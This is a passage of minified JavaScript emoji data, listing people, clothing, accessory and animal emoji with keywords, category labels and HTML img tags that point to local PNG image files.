src="1f469-200d-1f469-200d-1f466-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_woman_girl_girl:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f469-200d-1f469-200d-1f467-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_man_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66" src="1f468-200d-1f468-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_man_girl:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67" src="1f468-200d-1f468-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_man_girl_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f468-200d-1f468-200d-1f467-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_man_boy_boy:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f468-200d-1f468-200d-1f466-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_man_girl_girl:{keywords:["home","parents","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f468-200d-1f468-200d-1f467-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_boy:{keywords:["home","parent","people","human","child"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc66" src="1f469-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_girl:{keywords:["home","parent","people","human","child"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc67" src="1f469-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_girl_boy:{keywords:["home","parent","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f469-200d-1f467-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_boy_boy:{keywords:["home","parent","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f469-200d-1f466-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_woman_girl_girl:{keywords:["home","parent","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f469-200d-1f467-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_boy:{keywords:["home","parent","people","human","child"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc66" src="1f468-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_girl:{keywords:["home","parent","people","human","child"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc67" src="1f468-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_girl_boy:{keywords:["home","parent","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66" src="1f468-200d-1f467-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_boy_boy:{keywords:["home","parent","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66" src="1f468-200d-1f466-200d-1f466.png"/>',fitzpatrick_scale:!1,category:"people"},family_man_girl_girl:{keywords:["home","parent","people","human","children"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67" src="1f468-200d-1f467-200d-1f467.png"/>',fitzpatrick_scale:!1,category:"people"},yarn:{keywords:["ball","crochet","knit"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf6" src="1f9f6.png"/>',fitzpatrick_scale:!1,category:"people"},thread:{keywords:["needle","sewing","spool","string"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf5" src="1f9f5.png"/>',fitzpatrick_scale:!1,category:"people"},coat:{keywords:["jacket"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde5" src="1f9e5.png"/>',fitzpatrick_scale:!1,category:"people"},labcoat:{keywords:["doctor","experiment","scientist","chemist"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7c" src="1f97c.png"/>',fitzpatrick_scale:!1,category:"people"},womans_clothes:{keywords:["fashion","shopping_bags","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5a" src="1f45a.png"/>',fitzpatrick_scale:!1,category:"people"},tshirt:{keywords:["fashion","cloth","casual","shirt","tee"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc55" src="1f455.png"/>',fitzpatrick_scale:!1,category:"people"},jeans:{keywords:["fashion","shopping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc56" src="1f456.png"/>',fitzpatrick_scale:!1,category:"people"},necktie:{keywords:["shirt","suitup","formal","fashion","cloth","business"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc54" src="1f454.png"/>',fitzpatrick_scale:!1,category:"people"},dress:{keywords:["clothes","fashion","shopping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc57" src="1f457.png"/>',fitzpatrick_scale:!1,category:"people"},bikini:{keywords:["swimming","female","woman","girl","fashion","beach","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc59" src="1f459.png"/>',fitzpatrick_scale:!1,category:"people"},kimono:{keywords:["dress","fashion","women","female","japanese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc58" src="1f458.png"/>',fitzpatrick_scale:!1,category:"people"},lipstick:{keywords:["female","girl","fashion","woman"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc84" src="1f484.png"/>',fitzpatrick_scale:!1,category:"people"},kiss:{keywords:["face","lips","love","like","affection","valentines"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8b" src="1f48b.png"/>',fitzpatrick_scale:!1,category:"people"},footprints:{keywords:["feet","tracking","walking","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc63" src="1f463.png"/>',fitzpatrick_scale:!1,category:"people"},flat_shoe:{keywords:["ballet","slip-on","slipper"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7f" src="1f97f.png"/>',fitzpatrick_scale:!1,category:"people"},high_heel:{keywords:["fashion","shoes","female","pumps","stiletto"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc60" src="1f460.png"/>',fitzpatrick_scale:!1,category:"people"},sandal:{keywords:["shoes","fashion","flip flops"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc61" src="1f461.png"/>',fitzpatrick_scale:!1,category:"people"},boot:{keywords:["shoes","fashion"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc62" src="1f462.png"/>',fitzpatrick_scale:!1,category:"people"},mans_shoe:{keywords:["fashion","male"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5e" src="1f45e.png"/>',fitzpatrick_scale:!1,category:"people"},athletic_shoe:{keywords:["shoes","sports","sneakers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5f" src="1f45f.png"/>',fitzpatrick_scale:!1,category:"people"},hiking_boot:{keywords:["backpacking","camping","hiking"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7e" src="1f97e.png"/>',fitzpatrick_scale:!1,category:"people"},socks:{keywords:["stockings","clothes"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde6" src="1f9e6.png"/>',fitzpatrick_scale:!1,category:"people"},gloves:{keywords:["hands","winter","clothes"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde4" src="1f9e4.png"/>',fitzpatrick_scale:!1,category:"people"},scarf:{keywords:["neck","winter","clothes"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde3" src="1f9e3.png"/>',fitzpatrick_scale:!1,category:"people"},womans_hat:{keywords:["fashion","accessories","female","lady","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc52" src="1f452.png"/>',fitzpatrick_scale:!1,category:"people"},tophat:{keywords:["magic","gentleman","classy","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa9" src="1f3a9.png"/>',fitzpatrick_scale:!1,category:"people"},billed_hat:{keywords:["cap","baseball"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde2" src="1f9e2.png"/>',fitzpatrick_scale:!1,category:"people"},rescue_worker_helmet:{keywords:["construction","build"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26d1" src="26d1.png"/>',fitzpatrick_scale:!1,category:"people"},mortar_board:{keywords:["school","college","degree","university","graduation","cap","hat","legal","learn","education"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf93" src="1f393.png"/>',fitzpatrick_scale:!1,category:"people"},crown:{keywords:["king","kod","leader","royalty","lord"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc51" src="1f451.png"/>',fitzpatrick_scale:!1,category:"people"},school_satchel:{keywords:["student","education","bag","backpack"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf92" src="1f392.png"/>',fitzpatrick_scale:!1,category:"people"},luggage:{keywords:["packing","travel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf3" src="1f9f3.png"/>',fitzpatrick_scale:!1,category:"people"},pouch:{keywords:["bag","accessories","shopping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5d" src="1f45d.png"/>',fitzpatrick_scale:!1,category:"people"},purse:{keywords:["fashion","accessories","money","sales","shopping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5b" src="1f45b.png"/>',fitzpatrick_scale:!1,category:"people"},handbag:{keywords:["fashion","accessory","accessories","shopping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc5c" src="1f45c.png"/>',fitzpatrick_scale:!1,category:"people"},briefcase:{keywords:["business","documents","work","law","legal","job","career"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbc" src="1f4bc.png"/>',fitzpatrick_scale:!1,category:"people"},eyeglasses:{keywords:["fashion","accessories","eyesight","nerdy","dork","geek"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc53" src="1f453.png"/>',fitzpatrick_scale:!1,category:"people"},dark_sunglasses:{keywords:["face","cool","accessories"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd76" src="1f576.png"/>',fitzpatrick_scale:!1,category:"people"},goggles:{keywords:["eyes","protection","safety"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7d" src="1f97d.png"/>',fitzpatrick_scale:!1,category:"people"},ring:{keywords:["wedding","propose","marriage","valentines","diamond","fashion","jewelry","gem","engagement"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8d" src="1f48d.png"/>',fitzpatrick_scale:!1,category:"people"},closed_umbrella:{keywords:["weather","rain","drizzle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf02" src="1f302.png"/>',fitzpatrick_scale:!1,category:"people"},dog:{keywords:["animal","friend","nature","woof","puppy","pet","faithful"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc36" src="1f436.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cat:{keywords:["animal","meow","nature","pet","kitten"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc31" src="1f431.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},mouse:{keywords:["animal","nature","cheese_wedge","rodent"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2d" src="1f42d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hamster:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc39" src="1f439.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},rabbit:{keywords:["animal","nature","pet","spring","magic","bunny"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc30" src="1f430.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},fox_face:{keywords:["animal","nature","face"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8a" src="1f98a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},bear:{keywords:["animal","nature","wild"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3b" src="1f43b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},panda_face:{keywords:["animal","nature","panda"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3c" src="1f43c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},koala:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc28" src="1f428.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},tiger:{keywords:["animal","cat","danger","wild","nature","roar"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2f" src="1f42f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},lion:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd81" src="1f981.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cow:{keywords:["beef","ox","animal","nature","moo","milk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2e" src="1f42e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},pig:{keywords:["animal","oink","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc37" src="1f437.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},pig_nose:{keywords:["animal","oink"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3d" src="1f43d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},frog:{keywords:["animal","nature","croak","toad"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc38" src="1f438.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},squid:{keywords:["animal","nature","ocean","sea"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd91" src="1f991.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},octopus:{keywords:["animal","creature","ocean","sea","nature","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc19" src="1f419.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},shrimp:{keywords:["animal","ocean","nature","seafood"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd90" src="1f990.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},monkey_face:{keywords:["animal","nature","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc35" src="1f435.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},gorilla:{keywords:["animal","nature","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8d" src="1f98d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},see_no_evil:{keywords:["monkey","animal","nature","haha"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude48" src="1f648.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hear_no_evil:{keywords:["animal","monkey","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude49" src="1f649.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},speak_no_evil:{keywords:["monkey","animal","nature","omg"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude4a" src="1f64a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},monkey:{keywords:["animal","nature","banana","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc12" src="1f412.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},chicken:{keywords:["animal","cluck","nature","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc14" src="1f414.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},penguin:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc27" src="1f427.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},bird:{keywords:["animal","nature","fly","tweet","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc26" src="1f426.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},baby_chick:{keywords:["animal","chicken","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc24" src="1f424.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hatching_chick:{keywords:["animal","chicken","egg","born","baby","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc23" src="1f423.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hatched_chick:{keywords:["animal","chicken","baby","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc25" src="1f425.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},duck:{keywords:["animal","nature","bird","mallard"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd86" src="1f986.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},eagle:{keywords:["animal","nature","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd85" src="1f985.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},owl:{keywords:["animal","nature","bird","hoot"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd89" src="1f989.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},bat:{keywords:["animal","nature","blind","vampire"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd87" src="1f987.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},wolf:{keywords:["animal","nature","wild"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3a" src="1f43a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},boar:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc17" src="1f417.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},horse:{keywords:["animal","brown","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc34" src="1f434.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},unicorn:{keywords:["animal","nature","mystical"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd84" src="1f984.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},honeybee:{keywords:["animal","insect","nature","bug","spring","honey"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1d" src="1f41d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},bug:{keywords:["animal","insect","nature","worm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1b" src="1f41b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},butterfly:{keywords:["animal","insect","nature","caterpillar"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8b" src="1f98b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},snail:{keywords:["slow","animal","shell"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0c" src="1f40c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},beetle:{keywords:["animal","insect","nature","ladybug"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1e" src="1f41e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},ant:{keywords:["animal","insect","nature","bug"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1c" src="1f41c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},grasshopper:{keywords:["animal","cricket","chirp"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd97" src="1f997.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},spider:{keywords:["animal","arachnid"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd77" src="1f577.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},scorpion:{keywords:["animal","arachnid"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd82" src="1f982.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},crab:{keywords:["animal","crustacean"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd80" src="1f980.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},snake:{keywords:["animal","evil","nature","hiss","python"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0d" src="1f40d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},lizard:{keywords:["animal","nature","reptile"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8e" src="1f98e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},"t-rex":{keywords:["animal","nature","dinosaur","tyrannosaurus","extinct"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd96" src="1f996.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sauropod:{keywords:["animal","nature","dinosaur","brachiosaurus","brontosaurus","diplodocus","extinct"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd95" src="1f995.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},turtle:{keywords:["animal","slow","nature","tortoise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 